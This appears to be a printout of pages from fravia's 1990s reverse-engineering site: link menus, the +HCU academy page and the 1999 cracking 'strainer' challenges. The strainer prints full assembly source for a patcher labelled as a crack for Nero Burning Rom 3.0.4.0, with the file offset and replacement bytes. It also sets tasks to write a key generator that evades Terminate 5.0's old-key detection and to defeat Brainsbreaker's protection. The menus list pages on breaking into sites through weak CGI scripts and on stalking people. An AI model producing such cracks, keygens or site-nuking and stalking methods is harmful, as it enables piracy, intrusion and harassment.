http://www.instinct.org/fravia/entran.htm (2 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

__The protectionist's corner__

(How to protect your software against us crackers... there are various sections)

Protectionist's How to protect


Packers & Unp Our own Protections Our own tools
corner better

The Anonymity Lab


__The "be careful dad" section__

(Anonymity, Javascript, Countermeasures Astonishing tricks)

Fravia's Anonymity Academy


Anonymity, stalking and all other dangers you'll meet on the deep deep net

Fravia's Anonymity Academy


Main entrance

How to annoy your own sysads


corporate survival techniques and how to defend yourself from (Why and how to annoy them)
them
(actual content is obsolete: will
stalking matters i.e. how to find people and things
be updated)
How to stalk, follow and
enemy tracing eventually punish people on the (revamped new section)
web

fravia's steganography page How to exploit images and sounds (Basic tricks and entrance to the
for your purposes advanced page)

http://www.instinct.org/fravia/entran.htm (3 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

What Fravia knows about you Scary tracking Webmaster's (Basic knowledge and some
options examples)
Tweak your browser! Tracks hidden in your cache (Basic removal knowledge)

Fravia's JavaScript pages


Main entrances
(revamped march 1998)
(Javascript based site protection - a 'living' workshop)

counter measures page (unfinished)


(Applets killers, Fake identities, Enemy studying, Home pages capering, Providers surveillance)

Astonishing stories page (unfinished)


(Everyone will be a windoze NT system administrator - change security settings in M$-Explorer - telnet
everywhere with a Java faked proxy server)

The 'Site busting' Lab

__The "crackers against smut" section__

CGI-script reverse engineering: How to nuke commercial smut depots

Crackers against Smut


Main entrance

A general approach smut site bombing (Why and how to annoy them)
i.e. how to find the "commercial
combing (how to identify the weak ones)
smut" sites

http://www.instinct.org/fravia/entran.htm (4 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

(forgotten snippets of
How to exploit 'crumb trails' inside
source checking information inside counters and
a page
images)
How to exploit weak CGI-script
(How to nuke a page against the
cgi reverse engineering: one and PERL programs used by the
will of its owner)
Smut dealers

cgi reverse engineering: two How to exploit CGI-script, server (How to see a smut site going
side includes and perl ticks Ka-boom! under your very eyes)

Reality cracking Lab

Tricks and truths you better know to fight back the slave masters...

Fravia's Reality cracking pages


Main entrance

Bots trapping and reversing (Webrobots'


cracking)
(The "BOTS" section)

The "BOTS" section, little tricks you better know to catch and reverse any agent
Fravia's hidden section about "Spider squashing" and "bots trapping"

Fravia's BOTS trapping and reversing pages


Main entrance

How to reverse engineer any software


http://www.instinct.org/fravia/entran.htm (5 of 9) [2/7/2001 2:57:08 PM]
entran.htm: fravia's pages of reverse engineering: main entrance

application
("tutorial" section - search section - essays - programming languages)

__Cracking tutorials__

How to crack, the Tutorial, by +ORC, the old red cracker

+HCU's Students' essays

+HCU's Advanced Cracking Series

+HCU's Academy Database

Go to the ESSAYS 001-100 page (2 Mar 1997 - 4 Sep 1997)


Go to the ESSAYS 101-200 page (4 Sep 1997 - 28 Dec 1997)
Go to the ESSAYS 201-300 page (28 Dec 1997 - 10 June 1998)
Go to the ESSAYS 301-400 page (15 June 1998 - to-day)

Fravia's own contributions


How to reverse engineer windows software, by Fravia

Windows 3.1: Taskman disassembling

http://www.instinct.org/fravia/entran.htm (6 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

(Lesson 1a: Taskman, first part 29993 bytes - May 1996


(Lesson 1b: Taskman, second part 29976 bytes - May 1996

Windows 95: Filemon.exe disassembling (unfinished)


Lesson 2a: Introduction to filemon 47499 bytes - August 1997
Lesson 2b: reverse engineering without source code 43045 bytes - August 1997
Lesson 2c: filemon reversed 45354 bytes - August 1997
Lesson 2d: back to main 43496 bytes - August 1997
Lesson 2e: vxd vagaries and mysteries 26129 bytes - september 1997

How to search the Web... my coveted lessons

Fravia's 'How to search" lessons


Main entrance (and entrance to Robin Hood's and Surreal5's lessons)

lesson 5 (July 1996) General use of agora, http:// retrieving


lesson 6 (December 1996) Ftping files, agora queries and emailing altavista
lesson 7 (March 1997) W3gate, search spiders, error messages and evaluation of results
lesson 8 (November 1997) Advanced searching techniques (combing and klebing)
lesson 9 (January 1998) Searching effectively ~ Site monitoring
lesson 10 (June 1998 ~ 'light') Let the bots search for you ~ and build your own search-bots :-)

Screaming truth - by fravia+


Fravia's special "screaming truth" essays (1999)
Cracking for dummies - by fravia+

http://www.instinct.org/fravia/entran.htm (7 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

Lesson 1, 8 November 1997: "Birth of a cracker"


(Target: tekfct95.exe)
Lesson 2, 8 December 1997: "The difficult years"
(Target: netmed.exe)
Cracking for dummies: Softice beginners
As anyone here knows, Softice (by Numega, buy it or find it on the web, NEVER ASK for it, it's bad
craketiquette :-) is THE debugger par excellence, yet many beginners have problems with this most
gorgeous tool

Softice beginners will therefore be well advised to read the VERY GOOD document by fellow +cracker
Mammon:
Mankind comes into the Ice Age
there you will find a COMPLETE 'how to use Softice' text with two VERY IMPORTANT exercises:
Debugging an existing application and Regaining Lost Access.
No beginner should be left alone with Softice without this mighty help!

Of course, if you are a total newbye, and cannot even INSTALL softice, you better have a look at
siceinst.htm: The Ultimate Beginner - Session 1: SoftICE Install for Beginners, by i_magnus

Programming languages Tutorials and refs


Link to the programming languages tutorial that you may need (assembly, C, Pascal and even, gosh,
visual basic!)
Link to every assembly language link or tutorial that you may need (assembly cuts, beware!)

+Sync's API reference


Well, +Sync's reference is a MUST for people seriously into reverse engineering, in order to download
it, just press shift and click (api.hlp, 119.087)

If you are seeking where to publish for free:


Omar's list and Bram van Dartel's list

fravia's antispam advices and tricks

...of course there are many more pages and specific sections, some of them can be accessed only
from particular points of entry... other will require (a little) ingenuity :-)

http://www.instinct.org/fravia/entran.htm (8 of 9) [2/7/2001 2:57:08 PM]


entran.htm: fravia's pages of reverse engineering: main entrance

you'll find the access points and/or understand the (most simple) correct access techniques
wandering around. It takes time (and a little work) to be a reverser, so don't worry and don't
hurry.

Main sections of my site (on this page)


[basic] [guts] [be careful dad] [against smut] [reality cracking]
[bots] [reverse engineering] [fravia's own] [refs]
Specific pages of my site
If you are new Faq History Awards what I know about you

links +ORC students' essays tools anti commercial smut anonymity academy
counter measures javascripts wars stalking reality cracking corporate survival
counter intelligence cookies steganography cocktails search page
protectionist corner bots' wars mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed

[basic]
[guts] [anonimity]
[be careful dad] [bots]
[counter measures] [javascript wars]
[against smut] [reverse
[reality cracking] engineering]
[fravia's own]
[reality cracking
[refs]
lab]
[reverse [Anonymity lab]
engineering Lab] [stalking
[software engineering Lab]
protection Lab] [How to search Lab]
[reversing tools [Site busting Lab]
Lab] [LINKS]
[TOOLS]

http://www.instinct.org/fravia/entran.htm (9 of 9) [2/7/2001 2:57:08 PM]


Academy Home Page

+HCU: Academy of Reverse Engineering

Founded by +ORC in April 1996

Your gateway to the +HCU databases


More than 300 Reverse engineering essays by various +ORC's students and
friends

+HCU Database Navigation

ESSAYS 001-100 page (2 Mar 1997 - 4 Sep


The fundamental essays
1997)
ESSAYS 100-200 page (4 Sep 1997 - 28 Dec
The required reading for newbies essays
1997)
ESSAYS 200-300 page (28 Dec 1997 - 10 Jun
The beginner essays
1998)
ESSAYS 300-400 page (10 Jun 1998 - to
The intermediate essays
today)
The advanced essays

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's

http://www.instinct.org/fravia/academy.htm (1 of 4) [2/7/2001 2:57:12 PM]


Academy Home Page

Project 5: Netscape
Project 3: Dongles cracking Project 4: CD-Rom faking
ameliorating
Project 7: Most stupid Project 8: VisualBasic
Project 6: Crippled targets
schemes cracking
Project 9: Micro$oft bashing

Exegesis of a partition
(and a letter from +ORC)
~

Don't make the mistaken assumption that the most recent essays are the best ones!
All the essays published by the +HCU are good (should you ever believe that one
essay did not deserve to be published, please write EXPLAINING your point and
I'll act if necessary). Some essays are really outstanding, and you'll find
incredibly important essays among the first ones as well. Like so many things in
life, the newest products are NOT automatically the best ones (this is for instance
true also for wordprocessors, wines and university professors :-)
Peruse the essays at will, download what you like. It may appear daunting, yet
actually I believe you should read all of them if you are seriously interested in
software reverse engineering... you'll soon notice that some deal with much more
interesting themes that mere protection busting: functionality adding, hidden
functions re-enabling, software amelioration... and a lot of new other software
reverse engineering tricks and fields. If you are seriously interested in software
reverse engineering you should also read, I believe, my filemon serie, an attempt
to completely reverse engineer a Windows 95 program. If you're a newbye, my
cracking for dummies lessons could also be useful.

Don't forget the other tutorials either, that you'll be able to access from my other
pages.

I know: there is a big need to organize better these essays. I intend to write some
perl scripts, unfortunately I'm overloaded with work at the moment (my site, as
you have probably seen, is a quite huge endeavor) and this takes a lot of time. If

http://www.instinct.org/fravia/academy.htm (2 of 4) [2/7/2001 2:57:12 PM]


Academy Home Page

you want to help in this, by all means, do it. I believe that a good idea would be to
gather YOUR opinions about which essays should be labeled
"FUNDAMENTAL" reading, which should go under a "NEWBYES
COMPULSORY READING" badge and which, if any, should be eliminated.
Please write me your suggestions, for instance as 'lists' of the 10-20 essays you
would advice a beginner, or an intermediate or an advanced reverser to read.

Here's a old letter from +ORC -about these essays- that pleased me very much:
...therefore fravia+ I conclude that the work on the "student essays" page is incredibly important for the
whole cracker community (and even for your beloved shareware programmers :=) and I am certain that
its effects will be huge, albeit delayed by the awkward snowball effect of the Web. I had never found
available such a treasure of knowledge before and I gladly admit that I have learned a lot myself. I am
happy to have contributed to the birth of the students' essays (have I really "founded" the site?) through
my tutorial, which seems to me now wholly superseded by the cumulative (and much superior)
knowledge offered by the essays...
...only one remark, may be: the DOS/UNIX world seems very neglected in the essays... everybody is
cracking exclusively the newest applications for windoze, and that could be a mistake: many powerful
protection schemes that have been developed in DOS long ago, are until now UNCRACKED, and are or
will be used again for future (tough) software protection. Therefore, if I ever find the time to "finish" my
remaining lessons, I will concentrate on older (yet tougher and not obsolete) protection schemes: I said
that we must crack windoze in order to throw our seeds with the wind, true, but let's not forget that, as
you know very well, a good knowledge of the past is the only tool you can relay on in order to foresee
the future...
...You see fravia+, for the first time in the history of humanity knowledge can be spread for free and
reach anybody who cares :=) I don't know if this contingency will last, coz many powerful forces are
struggling against this. Should knowledge, their efforts notwithstanding, continue to flow in this way, it
will change the face of the world as we know it. We are already now thoroughly involved in this, and
your "students' essays" page is a very good example of a potential new dawn. We will see in due time...
let us sip our cocktails and wait... as I told you, the repercussions, on the web are never immediate, yet
the inertial effects of our work could be huge. Thank to your (and some other) sites, those who want to
learn will now be able to begin learning (and teaching, which is the other side of the same extraordinary
mirror) within very powerful frames. It was about time: maiora premunt!

The world of the near future will be a "world of software", an half-virtual world, where code will assume
today unbelievable massive proportions, where "reality" will not count much for the pavlovian gullible
beings that will forget their miserable slave conditions deafened by the concerted (and concocted)
"virtuality" that they will Oh so much love. A world of software, a world of code, and therefore, as usual,
a world of hidden codes and hidden meanings (as if the world we live in now did not have already
enough of them :=(
I just hope that many of our "students" will soon tackle the more complex and even less rewarding task

http://www.instinct.org/fravia/academy.htm (3 of 4) [2/7/2001 2:57:12 PM]


Academy Home Page

of cracking the reality they live in... hoc opus, hic labor: software protections are only a tiny part of the
"unknown" world around us, albeit a very useful playground to flex your "reversing muscles". Our
students and friends will have the difficult (and seldom rewarding) task of finding the keys of its
concealed doors, in order to donate them to all those who care, to all those that our enemies are
determined to leave outside. In fact they "must" remain out in order to allow fat profits for a minority.
This future code world will be a scary world indeed if we don't modify (or destroy) the rails our societies
are now running on: the data (common UN-data, everybody could have access to them, nobody does)
show that the quintile of the richest countries of this world (count all countries and divide them in five
groups according to their per capita product) has now (1996) an 88% share of the world INCOME (it was
74% in 1965). The remaining four quintiles of countries get now only the 12% (it was 26% in 1965).
Moreover inside each country (rich and poor alike) takes place an analogous "development" in favor of
the richest part of the population... that's the current "progress of humanity" stand behind all bla-bla-bla:
rich get richer, poor get poorer... a nice society indeed, headed at full speed against a brick wall.
I advice you to fasten your seat belt and to seat next to an emergency exit.
Like cracking.
Work well, +ORC

Well, Master +ORC has always been a little catastrophic, yet I believe too that
reality cracking is most important, yet I hope that +he will overcome his
legendary laziness and send us +his "zen" lessons as soon as possible, because we
need +his guide and +his help, now more than ever (enough! Complete and send
your bloody lessons! :-)

Let's think to the future of this section: once more, I see many classification
possibilities for the essays, but I would like to hear your opinion. I hope that the
+HCUkers will answer to me (or put their thoughts on the good HCU's
newsletter), but, as usual, any friend that cares is welcomed to comment (or help
in) the development of my site.

our protections programmer's corner our tools

homepage links anonymity +ORC javascript wars academy database


bots' wars tools cocktails antismut CGI-scripts search forms mail fravia+
Is reverse engineering legal?

(c) Fravia+ 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/academy.htm (4 of 4) [2/7/2001 2:57:12 PM]


THCU99.htm: The +HCU Strainer

no java/javascript? click here.

http://www.instinct.org/fravia/THCU99.htm [2/7/2001 2:57:13 PM]


strain99.htm +HCU 1999 ~ The STRAINER

+HCU 1999
[The new +Hcukers] [The solutions]
Strainer published in April 1998
Solutions published in October 1998

The STRAINER
A great strainer from Master +Aesculapius, I know that thousand (literally: I reckon I received lately more than 900 emailings
about this!) future reversers and protectors all around the world are awaiting this with impatience. Once more: the +HCU is
NOT a cracking group, it's a open university, open to ALL crackers, protectors and reversers alike... if capable. You may be in
a group, you may be a lone wolf cracker, you may be an university professor for informatic or the CEO of your own software
company, we couldn't care less: we want your knowledges, we'll give you our knowledges. You don't need to be a
programmer, you need to understand code, it is NOT the same thing.
So, if we're not a group, why do we keep publishing our 'strainers for admission' every year? Well... we'll of course continue to
teach openly (for everybody that wishes to read our essays) all the basic and advanced techniques, as we have always done, yet
we need a "Kern" of dedicated and capable +crackers in order to imagine new solutions, devise new techniques, develop old
and new team projects and understand very advanced (and new) reversing topics. That's the mission +ORC trusted us, that's
what has changed dramatically the cracker scene in the last three years (everyone and is dog is now publishing essays, which is
GOOD :-) and that's therefore the scope of our yearly strainers: to find the best among you and to commit them to teach (and
understand) our wonderful trade: reversing.
As usual, all answers for +Aesculapius' 1999 strainer should be sent to us BEFORE end September 1998. Looks to you like a
long time? You better be careful: think again. It's more than enough in order to do a good work, if you start working now.

All answers should be directed to +Aesculapius

aesculapius(at)stones(point)com
or to any +HCU caretaker (+gthorne, fravia+, +Sync). All
answers will anyway land by +Aesculapius, who will have
the pleasure (and the responsability) to decide WHO among
the partecipants should be admitted to the +HCU's next
year's courses.
And, of course, all 'old +hands' are invited to partecipate as well: to reverse under the direction of a master +cracker is a rare
pleasure and this below is a beautiful strainer indeed!

fravia+

+HCU STRAINER 1999


By +Aesculapius

Published on 4 May 1998 - Must be solved BEFORE 30 September 1998

+ORC, our great mentor, trusted in me the responsibility of


releasing the +HCU Strainer for 1999. I regard myself as a "strict"
educator, that is why this year the strainer will be quite a challenge,

http://www.instinct.org/fravia/strain99.htm (1 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

and only the worthy ones will succeed.


I have selected four (4) endearing challenges to assure that you are
the right person to enter our university.
The strainer release is every year an highly awaited time for many.
It is the time when all capable intermediate and advanced crackers have
the opportunity to transform their abilities into an art. We don't want to
teach you new techniques, we want YOU to create them. We don't want nor need
imitators, we wish to find true capable revrsers, able to adapt and evolve in
our complex rapidly changing world of protecting and cracking, capable to
understand the true meanings hidden inside all the code (and all the "reality")
that surround us.
We don't want selfish persons, we want people with enough humility to teach
what they know without any other expectation than the satisfaction of spreading
their sound and deep knowledge.

An small introduction will help you to understand the objectives of


every challenge. You have to solve all four challenges of course, and even so,
only the best answers will be accepted. I don't have to remind you, that any
"more than casual" resemblance between answers from different crackers will
result in the automatic elimination of both participants.
Obviously, you cannot imitate my own techniques in order to solve any of these
challenges either.

1
THE FIRST CHALLENGE:

The objectives of this challenge is to probe that:

1. The participant is able to design new techniques to solve a


cracking problem (main objective).
2. The participant knows assembly language coding.
3. The participant knows system memory manipulation.
4. The participant is capable of handling simple anti debugging
techniques.
5. The participant is able to analyze complex encryption systems.

Target: Terminate 5.0 32 bit.


Description: Communication package.

Considerations:

Terminate is an awesome DOS based communication program. Its


formidable encryption system has resisted the attacks of many crackers.
The author uses several interesting tricks which are susceptible for the
creation of the so called "new techniques". In resume, terminate 5.0
uses a key based protected scheme. The system accepts any key from an
authentic terminate's 4.0 owner, but it won't accept any old cracked key.
You could easily presume the encryption in terminate 5.0 has changed since
version 4.0. Interestingly, that is not true. The encryption remains the

http://www.instinct.org/fravia/strain99.htm (2 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

same; however, terminate 5.0 keeps rejecting old false 4.0 keys and
accepting old authentic 4.0 keys.

To succeed in this challenge, you must:

1. Extensively analyze and explain Terminate's protection scheme.


2. Create a 16 bit assembly key generator for it.
3. Design a technique to assure that your generated key will be
valid in any further version of terminate, if the encryption system remains
the same. That is, your key generator must be able to bypass Terminate's
author trick to recognize old keys.

2
THE SECOND CHALLENGE:

The objectives of this challenge is to probe:

1. The participant is able to code his own Windows based 32 bit


patcher (main objective).
2. The participant is able to code in different programming
languages than assembly.
3. The participant is capable of coding Windows based applications

Considerations:

DOS is dead, thereby, new crackers have to probe they can adapt to
more challenging 32 bit operating system tasks. Its amazing, that even
now, when everybody is using a 32 bit operating system, most crackers still
rely in good old DOS to create their byte patchers. The byte patcher is
without any doubt a great symbol for any cracker. The first program, in any
language, any of us probably coded was the traditional "Hello World!" which
is featured in almost any programming teaching book. In the same way, the
first program, in any language, any cracker probably coded was the
traditional byte patcher. In fact, the byte patcher represents in many
cases the edge between the casual cracker and the truly committed
future reverser.

Target: 32 bit Windows based byte patcher.


Description: None.

In this task, you'll have some help from me. DOS still rules in file
patching among crackers, an incredible fact considering 32 bit
patching using API functions is easier, quicker and provides the cracker
with additional advantages never seen in 16 bit patching. I'm going to
code a byte patcher calling win32 API functions. This is not the state of
the art in file patching, because MFC goes beyond and encapsulates most
Win32 API functions providing the coder with high flexibility in
necessary API parameters and solving at the same time the terrible lack of
functionality of C/C++ in string management tasks. To preserve tradition,

http://www.instinct.org/fravia/strain99.htm (3 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

I'll use assembly to do the job. You can use the language of your
preference, but remember, the patcher must run in 32 bit Windows based
environment.

If you want to code a windows based application, all


strings must be zero terminated (C style); API parameters must be pushed
backwards (only applies to assembly). As you know, API parameters are
gathered from the stack because that is the most efficient way to do the
job. Almost every compiler will translate your high level language code in
its most efficient assembly equivalent. Some API functions feature
additional advantages if compared with its hardcore interrupt equivalent.
For instance, OpenFile API function will fetch the desired file not only in
the current path but also in \windows\system directory, which is a good
thing if the patched file resides in that location. By the way, Openfile is
not the more suited API to open a file in a 32 bit environment, CreateFile
is the best choice. I used OpenFile because is easier and intuitive to
understand. As you can see, all API parameters are pushed line-by-line to
facilitate the learning process. Tasm permits to push everything at once
whenever a function is called, but is harder to understand (and
comment too) that way.

Here you have my code:

;--------------------------------------------------------------------------
; 32 bit Byte Patcher.
; Coded by +Aesculapius - 1998.
; Designed as part of the +HCU Strainer for 1999.

; Compile with Tasm32 & Tlink32

; tasm32 -ml -m5 -q bytpat32


; tlink32 -Tpe -aa -x -c bytpat32 ,,, import32
; You'll need files: windows.inc and import32.lib provided with
; Tasm 5.0 full package.
;--------------------------------------------------------------------------

.386p ; 386 instruction set enable


.model flat, stdCALL ; Linear addresing model

; Import several important API functions


; Some are not used, but I left them there
; in case you want to modify this program
; adding some other features

EXTRN OpenFile:PROC
EXTRN ReadFile:PROC
EXTRN WriteFile:PROC
EXTRN CloseFile:PROC
EXTRN GetLastError:PROC
EXTRN SetFileAtributes:PROC
EXTRN CreateFile:PROC
EXTRN SetFilePointer:PROC
EXTRN CloseHandle:PROC
EXTRN ExitProcess:PROC
EXTRN MessageBoxA:PROC

http://www.instinct.org/fravia/strain99.htm (4 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

INCLUDE WINDOWS.INC ; Some useful includes

; Data segment begins


.DATA

HANDLE DD ? ; Holds target file handle


FILENAME DB 'nero.exe',0 ; <-- Change to meet your target filename
FILE_DATA DB 80H DUP (0) ; Holds some important target file data

; Welcome message

LOGO DB 0AH,0DH
DB 'Nero Burning Rom 3.0.4.0. ',0AH,0DH
DB 'Coded by Aesculapius - 1998. ',0AH,0DH
DB ' ',0AH,0DH
DB 'Email: ',0AH,0DH
DB 'aesculapius@stones.com ',0AH,0DH
DB 'Home Page: ',0AH,0DH
DB 'http://members.xoom.com/Aesculapius/Aescu.html ',0AH,0DH
DB ' ',0AH,0DH
DB 'Proceed? ',0AH,0DH
DB 0AH,0DH,0

; Error message if target file not found

ERROR_MESSAGE1 DB 'The target file is not present in the current',0AH,0DH


DB 'path or is write protected. Please solve the ',0AH,0DH
DB 'problem and try again. ',0AH,0DH
DB 0

; Error message if target already cracked


; or wrong target version

ERROR_MESSAGE2 DB 'The location to be patched was not found! ',0AH,0DH


DB 'This could happen if: ',0AH,0DH
DB '- The program has been already cracked. ',0AH,0DH
DB '- This is a different version of the program. ',0AH,0DH
DB 'Please, contact the author of this crack at ',0AH,0DH
DB 'aesculapius@cryogen.com to get an update. ',0AH,0DH
DB 0
; Message if crack successful

SUCCESS DB ' Crack Successful!',0AH,0DH


DB 0
; Default Title of every window

TIT DB 'Nero Burning Rom 3.0.4.0. Crack',0

; Useful Null definition

NULL EQU 0

; Number of bytes to patch in Hexadecimal

http://www.instinct.org/fravia/strain99.htm (5 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

; <-- Modify according to your target

PATCH_SIZE DD 00000010H

; Original data present in the uncracked


; target. This data is used to diferentiate
; between a valid target and a wrong one
; (different version, already cracked).
; <-- Change according to your original
; target data

PREV_DATA DB 75H,22H,0C7H,45H,0FCH,0FFH,0FFH,0FFH,0FFH,0E8H
DB 7BH,03H,00H,00H,0B8H,01H

; Patching string
; <-- Modify according to your target

PATCH_BYTES DB 0EBH,00H,0C7H,45H,0FCH,0FFH,0FFH,0FFH,0FFH,0E8H
DB 7BH,03H,00H,00H,0B8H,00H

; Buffer to hold writen string


; Must be empty and at list of the same
; size or bigger than PATCH_BYTES buffer

BYTES_WRITEN DB 20H DUP (0)

; 32 bit offset location where the


; patch will be applied
; <-- Modify according to your target

PATCH_LOC DD 0003D579H

; Buffer to hold number of bytes read.

BYTES_READ DD ?

; Buffer to hold bytes read from the target

READ_BUFFER DB 20H DUP (0)

; Code "segment.class"
tppabs="http://fravia.org/segment.class" begins

.CODE

; Label to designate program start


START:

PUSH MB_OKCANCEL OR MB_ICONQUESTION ; Define window characteristics

http://www.instinct.org/fravia/strain99.htm (6 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

PUSH OFFSET TIT ; Window Title

PUSH OFFSET LOGO ; Window message

PUSH NULL ; Push 0

CALL MessageBoxA ; Show welcome message

CMP EAX, 00000002H ; Cancel button pressed?

JZ EXIT ; If yes, then exit

PUSH OF_READWRITE ; Open file with Read&Write Attributes

PUSH OFFSET FILE_DATA ; Buffer to hold file data once read

PUSH OFFSET FILENAME ; Filename to be opened

CALL OpenFile ; Open file

MOV HANDLE, EAX ; File handle from EAX to buffer

CMP EAX, -1 ; Check for errors

JNZ GO_ON1 ; No error, go on

; In case of error show proper


; message

PUSH MB_OK OR MB_ICONHAND

PUSH OFFSET TIT

PUSH OFFSET ERROR_MESSAGE1

PUSH NULL

CALL MessageBoxA

JMP EXIT ; Exit

GO_ON1:
; Check if file is suitable
; for cracking procedure

PUSH NULL ; Push 0

PUSH NULL ; Push 0

PUSH DWORD PTR [PATCH_LOC] ; Push patch location offset address

PUSH HANDLE ; Push file handle

http://www.instinct.org/fravia/strain99.htm (7 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

CALL SetFilePointer ; Move file pointer to patch


; location

PUSH NULL ; Push 0

PUSH OFFSET BYTES_READ ; Push offset of buffer to hold


; read bytes from target file

PUSH DWORD PTR [PATCH_SIZE] ; Push number of bytes to be read

PUSH OFFSET READ_BUFFER ; Push offset of buffer to hold


; read bytes

PUSH HANDLE ; Push file handle

CALL ReadFile ; Read file patch location


; This function reads the target
; file at the patching location
; Set by the setfilepointer API,
; the number of bytes designated by
; PATCH_SIZE buffer and store the
; bytes read in READ_BUFFER

; The following code checks


; if the target file patching
; location has been previously
; modified

MOV ESI, OFFSET READ_BUFFER ; Point ESI to original patch


; location string in target file

MOV EDI, OFFSET PREV_DATA ; Point EDI to known orginal


; string in the uncracked
; file

MOV ECX, [PATCH_SIZE] ; Number of bytes to compare

REP CMPSB ; Guess!

JZ GO_ON2 ; File patching location is


; untouched thereby the crack
; can be applied

; In case of error: patching


; location does not match
; that one of the original
; target file, then present error
; message

PUSH MB_OK OR MB_ICONHAND

PUSH OFFSET TIT

http://www.instinct.org/fravia/strain99.htm (8 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

PUSH OFFSET ERROR_MESSAGE2

PUSH NULL

CALL MessageBoxA

JMP EXIT ; Exit

; Target file elegible to


; be patched
; Now move filepointer to
; patching location once
; again

GO_ON2:

PUSH NULL ; Push 0

PUSH NULL ; Push 0

PUSH DWORD PTR [PATCH_LOC] ; Push offset of 32 bits address


; of patching location

PUSH HANDLE ; Push file handle

CALL SetFilePointer ; Move file pointer to patching


; location

; Next function excutes patch

PUSH NULL ; Push 0

PUSH OFFSET BYTES_WRITEN ; Buffer to hold bytes writen

PUSH DWORD PTR [PATCH_SIZE] ; Push number of bytes to patch

PUSH OFFSET PATCH_BYTES ; Push offset of patching string

PUSH HANDLE ; Push file handle

CALL WriteFile ; Patch file

; Next function informs of


; Successful patch procedure.

PUSH MB_OK

PUSH OFFSET TIT

PUSH OFFSET SUCCESS

PUSH NULL

CALL MessageBoxA

http://www.instinct.org/fravia/strain99.htm (9 of 12) [2/7/2001 2:57:19 PM]


strain99.htm +HCU 1999 ~ The STRAINER

; Close file handle


EXIT: PUSH HANDLE
CALL CloseHandle

PUSH NULL ; Terminate program


CALL ExitProcess
END START

;-------------------------------------------------------------------------

To succeed in this challenge, you must:

1. Create a Windows based 32 bit byte patcher for any target you
wish, using any programming language.

Remember one thing: if you use assembly to build your patcher, your
code must NOT resemblance mine, otherwise, you are automatically out
of the game.

3
THE THIRD CHALLENGE:

The objectives of this challenge is to probe:

1. The participant is able to combine both the live and dead listing
approaches.
2. The participant is capable of defeat anti-cracker tricks.
3. The participant knows how to search&destroy hidden protections.
4. The participant understands the inner functioning of a good
protection.

Target: Brainsbreaker v. v. 2.1 (32 bit) by Juan Trujillo Tarradas.


Description: Puzzle Creation Game.

Considerations:

From now on, all the work comes directly from the genius of +ORC
himself. He proposed me to study Brainsbreaker and decide if it was good
enough to be included in the strainer, as always, he wasn't wrong.
Brainsbreaker is a puzzle creation game, so what could be better than a
puzzle to challenge a cracker, whose daily work is dealing with reversing
puzzles. I won't talk about the target itself because that will be your job.

To succeed in this challenge, you must:

1. Completely explain the protection scheme used by this program.

http://www.instinct.org/fravia/strain99.htm (10 of 12) [2/7/2001 2:57:20 PM]


strain99.htm +HCU 1999 ~ The STRAINER

Ultimate
THE ULTIMATE CHALLENGE:

The objective of this challenge is to check that:

1. The participant understands the graphical part of demo-reversing.

Target: Brainsbreaker v. 2.1 (32 bit) by Juan Trujillo Tarradas.


Description: Puzzle Creation Game.

Considerations:

Once you run Brainsbreaker, a small graphical sparkle arises every so


often (when you quit the game or successfully complete a puzzle). You job in
the ultimate challenge is to code a program capable of reproducing this
nice sparkle which remind us the '+' sign in our names used to distinct us
from non-HCUkers.

To succeed in this challenge, you must:

1. Code a program to reproduce the graphic effect of the sparkle


featured in Brainsbreaker.

You have until September 30 1998 to send your answers.

Finally, I can't do anything else but wish to all of the


participants the best luck.

+Aesculapius - 1998.

aesculapius(at)stones(point)com

The new +Hcukers

Well, here they are, as decided by +Aesculapius on 4 October 1998

1) +Cruehead, complete solution.


2) +Q (his name is only this letter), complete solution.
3) +Mad, complete solution.
4) +iNT_03h, complete solution.
5) +Spath, Complete answer
6) +JaZZ, Complete solution

http://www.instinct.org/fravia/strain99.htm (11 of 12) [2/7/2001 2:57:20 PM]


strain99.htm +HCU 1999 ~ The STRAINER

7) +Bogus, the answers are buggy but the solution is complete.


8?) Fatal+Exception complete solution (with partial source code) Fatal Exception's
admission is still under discussion (He included some anti debugging tricks when
sending his code-answers, which looks suspicious to +some :-)
Will be eventually admitted if cleared from the suspicion of having copied the
answers.

The Solutions

Well, here they are, published on 4 October 1998

Have a look and download: one of the most intersting reversing project of this
year: some VERY good reversers tackle some difficult protection schemes
WARNING: This is GREAT reading for advanced protectors and reversers only. The TONS of information that you'll find
inside will keep you studying for a couple of weeks at least. You should by all means, in your +truly's opinion, first try to crack
the strainer on your OWN. Even if you don't, because you'r simply too lazy and want only to leech, reading this material you'll
anyway get deep insights in some of the most advanced protection and deprotection techniques. Enjoy!

Here you go!

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia+ & +Aesculapius 1998, All rights reserved

http://www.instinct.org/fravia/strain99.htm (12 of 12) [2/7/2001 2:57:20 PM]


soluhtm.htm +HCU 1999 ~ The 1999 STRAINER's solutions

+HCU 1999
Strainer published in April 1998
Solutions published in October 1998

The SOLUTIONS
GREAT READING! (for advanced protectors and reversers only)

Some words for the new Laureats, by +Aesculapius...

Congratulations +all,

Welcome to the +HCU, I know you are already elite crackers. You have
gained your admission in our university; from this day, we will share
